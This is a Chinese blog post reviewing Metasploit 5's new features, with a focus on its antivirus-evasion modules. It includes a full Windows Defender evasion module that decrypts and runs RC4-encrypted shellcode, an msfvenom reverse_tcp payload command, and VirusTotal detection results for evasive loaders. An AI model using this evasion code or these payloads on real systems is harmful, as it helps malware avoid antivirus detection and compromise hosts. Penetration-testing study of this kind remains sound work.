内容简介:官方release note: https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/ 如何更新 笔者只在Ubuntu、MAC、kali中尝试更新。 GIT 官方仓库master已经更新到了msf5。 直接使用该仓库重新安装一次即可,可是太麻烦啦! Ubuntu 18 直接使用msfupdate命令即可。 MAC 同上 kali 在/etc/apt/sources.list中添加kali-experimental版本源,例如
不久前知名的渗透测试框架metasploit frameword进行了一次大得版本更新,从msf4.7更新到了msf5。其中自然少不了一些新特性,笔者在使用新增的功能时,发现这些功能都十分实用,并且非常值得学习。这里我给大家简单介绍一下重要的更新内容,并且使用其做做小实验。
官方release note: https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/ 如何更新 笔者只在Ubuntu、MAC、kali中尝试更新。 GIT 官方仓库master已经更新到了msf5。 直接使用该仓库重新安装一次即可,可是太麻烦啦! Ubuntu 18 直接使用msfupdate命令即可。 MAC 同上 kali 在/etc/apt/sources.list中添加kali-experimental版本源,例如阿里云源:
deb http://mirrors.aliyun.com/kali kali-experimental main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-experimental main non-free contrib 其实就是把rolling版本换成了experimental,保险起见,你也可以只添加,不覆盖原内容。 这里我尝试过两种方法,在windows子系统的kali中: sudo apt update; apt install metasploit-framework即可 而虚拟机Kali 2018.4中: apt remove metasploit-framework;apt install metasploit/kali-experimental 猜测是因为windows子系统的kali的msf并不是缺省的导致的命令差异。 简单介绍部分更新内容 数据库和自动化的APIs 意思就是在Postgresql数据库为后端的基础上添加了RESTful API服务,使得msf以及外部 工具 之间可以进行交互。API文档: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service . 免杀模块以及库 这点是我认为这次更新最实(易)用的一个地方,这里官方介绍的比较模糊,并且只给出了两个已经写好的库。具体的内容都在一份paper中。所以在这里我来具体介绍一下。
免杀模块 来看看数日内,这两个可怜的"样本"被杀成什么样了。
evasion/windows/windows_defender_exe
火绒:
Windows defender
virustotal GGbdIwIyp.exe 分析
检出率: 34 / 69
evasion/windows/windows_defender_js_hta
火绒
Windows defender
virustotal WMPqRX.hta 分析
可以看到exe文件被查杀的比例虽然偏高,但是依旧过了Windows defender的静态扫描,而HTA则没有这么好运,被Windows defender无情的识别出来了,但是检出率十分可观,可以看到可以绕过大多数知名AV。(PS:我把火绒单独放出来是因为virustotal没有它,并且笔者主机是使用火绒的,但是十分可惜结果不太好看.) 当然,此次是 msf 第一次放出免杀相关的功能,肯定不仅仅如此,下面的才是最关键的几个点: 提供模板编译函数
Metasploit::Framework::Compiler::Windows.compile_c(code)
Metasploit::Framework::Compiler::Windows.compile_c_to_file(file_path, code)
EXE Example
c_template = %Q|#include <Windows.h>
int main(void) {
LPCTSTR lpMessage = "Hello World";
LPCTSTR lpTitle = "Hi";
MessageBox(NULL, lpMessage, lpTitle, MB_OK);
return 0;
}|
require 'metasploit/framework/compiler/windows'
This will save the binary in variable exe
exe = Metasploit::Framework::Compiler::Windows.compile_c(c_template)
This will save the binary as a file
Metasploit::Framework::Compiler::Windows.compile_c_to_file('/tmp/test.exe', c_template) DLL Example
c_template = %Q|#include <Windows.h>
BOOL APIENTRY DllMain attribute ((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "Hello World", "Hello", MB_OK);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// This will be a function in the export table
int Msg attribute ((export))(void) {
MessageBox(NULL, "Hello World", "Hello", MB_OK);
return 0;
}
|
require 'metasploit/framework/compiler/windows'
dll = Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll) Code Randomization
require 'msf/core'
require 'metasploit/framework/compiler/windows'
c_source_code = %Q|
#include <Windows.h>
int main() {
const char* content = "Hello World";
const char* title = "Hi";
MessageBox(0, content, title, MB_OK);
return 0;
}|
outfile = "/tmp/helloworld.exe"
weight = 70 # This value is used to determine how random the code gets.
Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(outfile, c_source_code, weight: weight) 加密方式 并且此次添加了四种加密方式,分别为AES256-CBC、RC4、XOR和Base64。 使用方法:
msfvenom msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c 此语句将会打印加密后的shellcode,需要自行实现客户端加载。
模板中 Msf::Simple::Buffer.transform(payload.encoded, 'c', 'buf', format: 'rc4', key: rc4_key) 需要结合之前介绍过的编译函数使用。 例如:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/compiler/windows'
class MetasploitModule < Msf::Evasion
def initialize(info={})
super(merge_info(info,
'Name' => 'Microsoft Windows Defender Evasive Executable',
'Description' => %q{
This module allows you to generate a Windows EXE that evades against Microsoft
Windows Defender. Multiple techniques such as shellcode encryption, source code obfuscation, Metasm, and anti-emulation are used to achieve this.
For best results, please try to use payloads that use a more secure channel such as HTTPS or RC4 in order to avoid the payload network traffc getting caught by antivirus better.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' => [ ['Microsoft Windows', {}] ]
))
end
def rc4_key
@rc4_key ||= Rex::Text.rand_text_alpha(32..64)
end
def get_payload
@c_payload ||= lambda {
opts = { format: 'rc4', key: rc4_key }
junk = Rex::Text.rand_text(10..1024)
p = payload.encoded + junk
return {
size: p.length,
c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)
}
}.call
end
def c_template
@c_template ||= %Q|#include <Windows.h>
include <rc4.h>
// The encrypted code allows us to get around static scanning
{get_payload[:c_format]}
int main() {
int lpBufSize = sizeof(int) #{get_payload[:size]};
LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT,| Rapid7.com Encapsulating Antivirus (AV) Evasion Techniques - 20
0x00000040);
memset(lpBuf, '\0', lpBufSize);
HANDLE proc = OpenProcess(0x1F0FFF, false, 4);
// Checking NULL allows us to get around Real-time protection
if (proc == NULL) {
RC4("#{rc4_key}", buf, (char) lpBuf, #{get_payload[:size]});
void (func)();
func = (void ()()) lpBuf;
(void)(*func)();
}
return 0;
}|
end
def run
vprint_line c_template
# The randomized code allows us to generate a unique EXE
bin = Metasploit::Framework::Compiler::Windows.compile_
random_c(c_template)
print_status("Compiled executable size: #{bin.length}")
file_create(bin)
end
end
为了方便,笔者使用第一种方法来实现。
这里我使用base64的加密方式,然后自行编写解码执行shellcode的客户端程序。 然后msf开启监听,这里使用msf5添加的handler指令直接添加一个listener。
先查看我们写的客户端免杀效果如何。
火绒
windows defender
抽风了,是之前的文件,我自己给删除了,结果显示还在。
virustotal
检出率: 3 / 69 这三款我只关注某知名AV,这个报的病毒类型是典型专属它的误报,多的不说了直接上真实环境看看。
跑起来试试
一些特色
搜索速度 msf5的漏洞搜索功能变得飞快了,没有了原来的slow search。所有的session类型都支持background指令了,我猜很多小伙伴都被直接弹回来的shell/cmd烦恼过。
background 这里我使用臭名昭著的windows/shell/reverse_tcp
这个类型的session会直接谈一个 shell 到你的msfconsole,并且无法挂在后台,非常烦人,容易手误关闭shell,比如原来的ms17-010模块默认就是这个坑爹的模块,漏洞本身不能短时间多次利用,常常耽误很多时间。
不过值得注意的是,当你进入这个session,也就是shell的时候,仍然无法退出到msfconsole,只能关闭session出来...
拓展模块支持更多语言 现在支持Go, Python, 以及 Ruby 了。额外添加的两个语言都是非常棒,笔者都学习过的语言,可以预见到未来的模块遍地开花!
结语 关于本次更新,笔者也是关注的官方公告,以及周围小伙伴的口口相传,所以可能会有不少遗漏内容,文章也写的比较口语化,旨在分享知识,请大家多多包涵,最后祝愿所有朋友新的一年技术节节高升。
以上所述就是小编给大家介绍的《关于MSF5一些你不得不知道的东西》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Introduction to Linear Optimization
Dimitris Bertsimas、John N. Tsitsiklis / Athena Scientific / 1997-02-01 / USD 89.00
"The true merit of this book, however, lies in its pedagogical qualities which are so impressive..." "Throughout the book, the authors make serious efforts to give geometric and intuitive explanations......一起来看看 《Introduction to Linear Optimization》 这本书的介绍吧!